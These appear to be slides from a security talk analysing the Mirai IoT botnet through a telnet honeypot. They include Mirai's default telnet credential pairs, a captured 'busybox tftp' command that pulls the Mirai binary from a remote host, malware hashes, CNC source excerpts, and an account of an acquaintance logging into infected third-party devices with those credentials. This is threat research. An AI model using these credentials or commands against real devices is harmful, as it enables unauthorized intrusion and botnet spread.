MIRAI: CHICKEN, HONEY AND VIDEOTAPES
1ST ACT

VIDEO TAPES
WHAT IS MIRAI?
IT IS A BOTNET.

It is said that:

It infects devices of the so-called "internet of things" (IoT)
DEFAULT USER NAMES AND PASSWORD

Mirai attacks devices of Internet of things exposed to internet with default credentials.

It uses a combination of 61 users and passwords of devices of internet of things.

Or maybe not, it depends on the point of view.
CHANGING DEFAULT FACTORY CREDENTIALS IS OVER RATED SPECIALLY ON DEVICES OF INTERNET OF THINGS.
SAY "INTERNET OF THINGS" AGAIN!
MIRAI IS RESPONSIBLE OF DDOS ATTACKS ON:

OVH web hosting provider

Krebs on security blog

Dyn dns services.
DDoS attack over vlc visualization from logstalgia project
There are some indications that this attack was launched with the help of a botnet that has enslaved a large number of hacked so-called “Internet of Things,” (IoT) devices—routers, IP cameras and digital video recorders (DVRs) that are exposed to the Internet and protected with weak or hardcoded passwords.
KREBS ON SECURITY ON AKAMAI DDOS

Registered most important DDoS on akamai: 360 Gps

Mirai attack on Akamai: 660 Gps

Finally Krebs was invited to leave Akamai.
AGO 2016: "MALWARE MUST DIE"

SITE

Performed a binary analysis

Some of their conclusions about MIRAI:

• It opens 48101 in localhost for incoming connections..
• It creates /dev/watchdog and /dev/misc devices for some kind of delay
SEPT 2016: ANNA-SENPALI RELEASED
THE SOURCE CODE OF MIRAI
Let's check it out // safe string
https://youtu.be/dQw4w9WgXcQ
WHAT A SURPRISE ...
2ND ACT
HONEY
LOW INTERACTION HONEY POT
FAKE TELNET CREDENTIALS
CACHING.

I had not great expectations
BUT I FOUND MUCH MORE THAN EXPECTED...

... AND ALMOST IMMEDIATELY

Music: Kraftwerk - Pocket calculator
HAD I BEEN LUCKY?

Scanned a subset of ips ...

... searching for ports 80,8080,81,443 ...

... making screenshots

```
# nmap -v -iL /tmp/lista.ips --script=http-screenshot -p 80,443,81,8080
```
AFTER A LONG WEEKEND...

...THIS IS A SUMMARY OF WHAT I FOUND.
Nome de usuário ou Senha incorretos. Favor consultar a resolução de problemas abaixo:

Ser que a trava do Caps Lock está habilitada em seu teclado?
O nome de usuário e a senha devem ser digitados em letra minúscula. Verifique se a luz da trava
vazia está apagada e tente novamente.

Você esqueceu o seu nome de usuário ou sua senha?
Por favor restaure as configurações padrão de fábrica caso você esqueceu o seu nome de usuário e a
sua senha. O nome de usuário e a senha padrão de acesso são ambos estabelecidos como
"admin".

Nota: As configurações serão restauradas para o padrão de fábrica depois da
reinicialização.

Como restaurar o dispositivo para as configurações padrão de fábrica?
Primeiro localize o botão "RESET" no painel traseiro do dispositivo, para em seguida apertar e
segurá-lo por pelo menos 5 segundos. O dispositivo ento será reinicializado e suas configurações serão
restauradas aos padrões de fábrica.

ACCESS WITHOUT CREDENTIALS.!!!
SO, THIS HONEY IS GOOD!

But I needed to organize logs

So I put them in kibana ...
THIS IS THE QUERY FOR "MIRAI EVENTS"

(usuário: 666666 AND password: 666666) OR (usuário: 888888 AND password: 888888) OR .... (usuário: admin AND password: 1111111)
SOME DATA
root 888888
root root default
root root 12345
root root 1234
root root 7ujMkoDadmin
root Zte521
root 7ujMkoOadmin
root 1234
admin pass 1111
admin pass admin 1234
admin pass admin 54321
admin pass admin 123456
root dreambox
root 1234
root 54321
root 1234
root xc3511
admin admin123
admin admin 1111
admin admin 666666
admin admin 1234
admin admin 1111
admin admin 54321
guest
user user
root xmc100
root xmhdipc
root 666666
root xanh
root support
root support
root support
root support
FROM THE BEGINNING OF NOVEMBER:

607K EVENTS

191K ARE MIRAI EVENTS

ONE THIRD ARE "MIRAI" EVENTS

DIFFERENT MIRAI SOURCE IP ADDRESSES 21K
<table>
<thead>
<tr>
<th>Country</th>
<th>Mirai Events</th>
<th>Percentage</th>
</tr>
</thead>
<tbody>
<tr>
<td>Vietnam</td>
<td>23.013</td>
<td>13.95</td>
</tr>
<tr>
<td>China</td>
<td>20.670</td>
<td>12.53</td>
</tr>
<tr>
<td>Brazil</td>
<td>17.712</td>
<td>10.74</td>
</tr>
<tr>
<td>Taiwan</td>
<td>16.182</td>
<td>9.81</td>
</tr>
<tr>
<td>Ukraine</td>
<td>10.398</td>
<td>6.3</td>
</tr>
<tr>
<td>Ip</td>
<td>Mirai Events</td>
<td>Percentage</td>
</tr>
<tr>
<td>---------------------</td>
<td>--------------</td>
<td>------------</td>
</tr>
<tr>
<td>46.172.91.20</td>
<td>2.580</td>
<td>36</td>
</tr>
<tr>
<td>185.75.158.226</td>
<td>554</td>
<td>7</td>
</tr>
<tr>
<td>89.248.162.185</td>
<td>251</td>
<td>6</td>
</tr>
<tr>
<td>Passwords</td>
<td>Percentage</td>
<td></td>
</tr>
<tr>
<td>-----------</td>
<td>------------</td>
<td></td>
</tr>
<tr>
<td>admin</td>
<td>10.85</td>
<td></td>
</tr>
<tr>
<td>xc3511</td>
<td>6.75</td>
<td></td>
</tr>
<tr>
<td>vizxv</td>
<td>6.2</td>
<td></td>
</tr>
<tr>
<td>888888</td>
<td>4.81</td>
<td></td>
</tr>
<tr>
<td>password</td>
<td>4.67</td>
<td></td>
</tr>
</tbody>
</table>
I MADE SURE THAT I WAS COLLECTING MIRAI IPS ...

... LOOKING FOR CAMERAS
TURKEY
THAT PROVED THAT I WAS COLLECTING "MIRAI" IP ADDRESSES ...

... AND A "FRIEND" OF MINE ASKED ME FOR A LIST OF IPS.

HE WANTED TO PLAY A LITTLE.
HE LOOKED FOR PORT 23 AND 2323

... AMONG MY ATTACKERS.
HE TRIED TO LOG IN USING ...

... THE SAME COMBINATION OF USER/PASS
IN SOME MACHINES THIS IS WHAT HE FOUND

telnet X.X.X.X
Trying X.X.X.X
Connected to X.X.X.X.
Escape character is '^[']'.

REINCARNA / Linux.Wifatch

Your device has been infected by REINCARNA / Linux.Wifatch.

We have no intent of damaging your device or harm your privacy in any way.

Telnet and other backdoors have been closed to avoid further infection of this device. Please disable telnet, change root/admin passwords, and update the firmware.

This software can be removed by rebooting your device, but unless you take security precautions, it will infect your system again. REINCARNA
IN OTHER OCASSION

root@kali:~/MIRAI# proxychains telnet 122.117.XXX.31

Escape character is '^]'.
dvrds login: root
Password:
BusyBox v1.16.1 (2012-10-17 17:33:25 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.
can not change to guest!
[root@dvrds /] #
```bash
[root@dvrds /] # netstat -nap
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp   0   0 127.0.0.1:48101                 0.0.0.0:*               LISTEN
tcp   0   0 127.0.0.1:48109                 0.0.0.0:*               LISTEN
tcp   0   0 127.0.0.1:9521                  0.0.0.0:*               LISTEN
tcp   0   0 0.0.0.0:40980                   0.0.0.0:*               LISTEN
tcp   0   0 127.0.0.1:49813                 0.0.0.0:*               LISTEN
tcp   0   0 0.0.0.0:22                      0.0.0.0:*               LISTEN
tcp   0   0 122.XXX.XXX.31:23              190.140.159.78:58296  SYN_RECV
tcp   0   0 122.XXX.XXX.31:23              122.117.159.130:24011  SYN_RECV
```
AFTER SEVERAL COMMANDS

"ps" was executed

and a tftp was found in other machine

<table>
<thead>
<tr>
<th>PID</th>
<th>User</th>
<th>Priority</th>
<th>Status</th>
<th>Command</th>
</tr>
</thead>
<tbody>
<tr>
<td>7663</td>
<td>root</td>
<td>1248</td>
<td>S</td>
<td>sh</td>
</tr>
<tr>
<td>9379</td>
<td>root</td>
<td>208</td>
<td>S</td>
<td>n48lorkl2a2l</td>
</tr>
<tr>
<td>9381</td>
<td>root</td>
<td>216</td>
<td>S</td>
<td>n48lorkl2a2l</td>
</tr>
<tr>
<td>9382</td>
<td>root</td>
<td>248</td>
<td>S</td>
<td>n48lorkl2a2l</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>11354</td>
<td>root</td>
<td>1248</td>
<td>S</td>
<td>sh</td>
</tr>
<tr>
<td>11536</td>
<td>root</td>
<td>1236</td>
<td>S</td>
<td>/bin/busybox tftp -g -l dvrHelper -r mirai</td>
</tr>
<tr>
<td>11689</td>
<td>root</td>
<td>1248</td>
<td>S</td>
<td>-sh</td>
</tr>
<tr>
<td>11713</td>
<td>root</td>
<td>1248</td>
<td>S</td>
<td>sh</td>
</tr>
<tr>
<td>11807</td>
<td>root</td>
<td>1236</td>
<td>S</td>
<td>/bin/busybox tftp -g -l dvrHelper -r mirai</td>
</tr>
<tr>
<td>11829</td>
<td>root</td>
<td>1240</td>
<td>R</td>
<td>ps</td>
</tr>
<tr>
<td>26446</td>
<td>root</td>
<td>208</td>
<td>S</td>
<td>fof1qillt0elng2c7rpc</td>
</tr>
<tr>
<td>26449</td>
<td>root</td>
<td>248</td>
<td>S</td>
<td>fof1qillt0elng2c7rpc</td>
</tr>
</tbody>
</table>
LET'S FOCUS ON ..

foflqillt0elng2c7rpc process

we will see tftp later:

/bin/busybox tftp -g -l dvrHelper -r mirai.arm7
185.XXX.XXX.14
¿WHAT IS FOFLQILLT0ELNG2C7RPC PROCESS?

26446 root 208 S foflqillt0elng2c7rpc

Remember that we have limited shell so:

```
[root@dvr] # cat /proc/26446/maps
00000000-00007000 r-xp 00000000 01:00 233 /dvrHelper (deleted)
00010000-0001f000 rwxp 00000000 01:00 233 /dvrHelper (deleted)
00008000-0000f000 rwxp 00000000 00:00 0 [heap]
beba0000-bebe1000 rwxp 00000000 00:00 0 [stack]
ffff0000-ffff1000 r-xp 00000000 00:00 0 [vectors]
```
CAN SEVERAL MIRAI COEXIST?

executing `netstat -nl`:

```
[root@dvrds /] # netstat -l
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address        State
tcp    0      0  localhost:48101            0.0.0.0:*              LISTEN
tcp    0      0  localhost:48202            0.0.0.0:*              LISTEN
tcp    2      0  0.0.0.0:22                 0.0.0.0:*              LISTEN
tcp    0      0  0.0.0.0:33782             0.0.0.0:*              LISTEN
tcp    0      0  :::8000                   :::*:                LISTEN
tcp    0      0  :::80                      :::*:                LISTEN
tcp    0      0  :::23                      :::*:                LISTEN
tcp    0      0  :::1080                    :::*:                LISTEN
raw    8680    0  0.0.0.0:6                 0.0.0.0:*              LISTEN
raw    5208    0  0.0.0.0:6                 0.0.0.0:*              LISTEN
Active UNIX domain sockets (only servers)
Proto RefCnt Flags  Type       State         I-Node Path
unix   2       [  ACC  ] STREAM     LISTENING       1737 @ISCSIADM_ABC
unix   2       [  ACC  ] STREAM     LISTENING       2032 @ISCSIADM_ABC
```
SO TFTP DOWNLOADS BINARY TO DVRHELPER

.. it is executed..

.. and deleted..
WHAT HAPPEND TO 185.XXX.XXX.14?

.. we connected to tftp..

.. and it was posible to download..

.. "mirai" binaries for several architectures..

```
# md5sum *
e1806db9ecfb95a665321450f2bba8d7  dvrHelper
e1806db9ecfb95a665321450f2bba8d7  mirai.arm
fdcc093bc03c47ad215171f833709141  mirai.arm7
8a62c320dd1113b83dd512d5aa16d5c8  mirai.m68k
36cc8b9370512a27df47148803ff8114  mirai.mips
e1806db9ecfb95a665321450f2bba8d7  mirai.ppc
```

IS THERE SOMETHING ON WEB PORT?
This domain name has been seized by ICE - Homeland Security Investigations, pursuant to a seizure warrant issued by a United States District Court under the authority of 18 U.S.C. §§ 981 and 2323.

Willful copyright infringement is a federal crime that carries penalties for first time offenders of up to five years in federal prison, a $250,000 fine, forfeiture and restitution (17 U.S.C § 506, 18 U.S.C. § 2319). Intentionally and knowingly trafficking in counterfeit goods is a federal crime that carries penalties for first time offenders of up to ten years in federal prison, a $2,000,000 fine, forfeiture and restitution (18 U.S.C. § 2320).
REALLY?

tfpt server was still active
IN OTHER VICTIM

several weeks later ...

.. another tftp

```
2704 guest    1248 S  -sh
2718 guest    1248 S  sh
 9790 root     1260 S  -sh
10921 root    1392 S  pppd  pty pppoe -I eth0 -T 80 -m 1412 noipdir
10925 root    1236 S  sh -c pppoe -I eth0 -T 80 -m 1412
10929 root     836 S  pppoe -I eth0 -T 80 -m 1412
16339 root     208 S  wfkklakre6k
16342 root     248 S  wfkklakre6k
17741 root       0 SW  [flush-8:0]
24267 root       0 SW  [flush-1:0]
27280 root    1248 S  -sh
27342 root    1248 S  sh
30611 root    1248 S  -sh
31007 root    1248 S  -sh
31032 root    1248 S  sh
31034 root     208 S  wglkci0k8qgk
31035 root     216 S  wglkci0k8qgk
```
IS IT POSSIBLE TO DOWNLOAD BINARIES FROM 212.XXX.52.232?

.. tftp connection successful..

.. and mirai binaries were downloaded..

.. with the same md5..

```bash
# md5sum *
e1806db9ecfb95a665321450f2bba8d7   dvrHelper
fdcc093bc03c47ad215171f833709141   mirai.arm
8a62c320dd1113b83dd512d5aa16d5c8   mirai.arm7
36cc8b9370512a27df47148803ff8114   mirai.m68k
94a911207e8a947bf90d377c97a76dd1   mirai.mips
e1806db9ecfb95a665321450f2bba8d7   mirai.ppc
```
PASSIVE DNS LOOKUP

djvciv.com A 212.XXX.52.232
rxwzia.com A 212.XXX.52.232
slfzaf.com A 212.XXX.52.232
Whois slfzaf.com

Whois Server Version 2.0

... 

Registrant Name: ding dan
Registrant Organization: dan ding
Registrant Street: 24 hung wang street apartment 32A
Registrant City: ying guo ying guo
Registrant State/Province: BJ
Registrant Postal Code: 251496
Registrant Country: cn
Registrant Fax Ext:
Registrant Email: jimenezdante@gmail.com
Registry Admin ID: Not Available From Registry
BUT

Hung Wang is chinese restaurant
Admin City: ying guo ying guo
Ying guo means United Kingdom
Jimenez Dante
Lots of domains registered
Involved in massive botnet spamming
with hosting on hacked servers
and eastern european hosters
AND THERE IS SOMETHING SPECIAL ON 212.XXX.52.232

.. telnet port is opened..

..and this is what we saw..
юблю куриные наггетсы

пользователь:

оль:

верив счета...
BUT ... IS THERE SOMETHING IN RUSSIAN IN THE SOURCE CODE?

From source code of "admin.go" ...

... from the directory CNC

```go
func (this *Admin) Handle() {
    this.conn.Write([]byte("\033[?1049h"))
    this.conn.Write([]byte("\xFF\xFB\x01\xFF\xFB\x03\xFF\xFC\x22"))

    defer func() {
        this.conn.Write([]byte("\033[?1049l"))
    }()

    headerb, err := ioutil.ReadFile("prompt.txt")
    if err != nil {
        return
    }

    header := string(headerb)
    this.conn.Write([]byte(strings.Replace(strings.Replace(header, "", "\r\n", -1), "", "\r\n", -1)))
}```
headerb, err := ioutil.ReadFile("prompt.txt")
    if err != nil {
        return
    }

// Get username
this.conn.SetDeadline(time.Now().Add(60 * time.Second))
this.conn.Write([]byte("\033[34;1mпользователь\033[33;3m: \033[0m"))
prompt.txt contains

я люблю куриные наггетсы

which is the first line of telnet prompt

and пользователь: is the second one
IS IT A REAL CNC?
BUT, WHAT DOES THIS MEAN??

я люблю куриные наггетсы
пользователь:
пароль:

произошла неизвестная ошибка
нажмите любую клавишу для выхода. (any key)
I love chicken nuggets
user:
password:

An unknown error occurred
Press any key to exit(any key)

AND THERE WE HAVE THE CHICKEN
EPILOGUE
ADVANTAGES OF BOTNETS OF IOT

Always on
No protection measures
No logs
Fast growth
LESSONS LEARNED

Low interaction honeypots are very useful

Manufacturers: Do not delegate security on end users

it is dangerous for everybody
HIGH INTERACTION HONEYPOT

New malware detected

"White virus"

Hajime

More details soon from CCN-CERT

Germán Sanchez Garcés
FINALLY

All important info shown here wer brought to the attention of security forces

No change was made on victims machines
TO BE CONTINUED ....
THANKS TO:

Rubén Ramón Sobrino
Paula Gonzalez Muñoz
Javier Dominguez
My family for their patient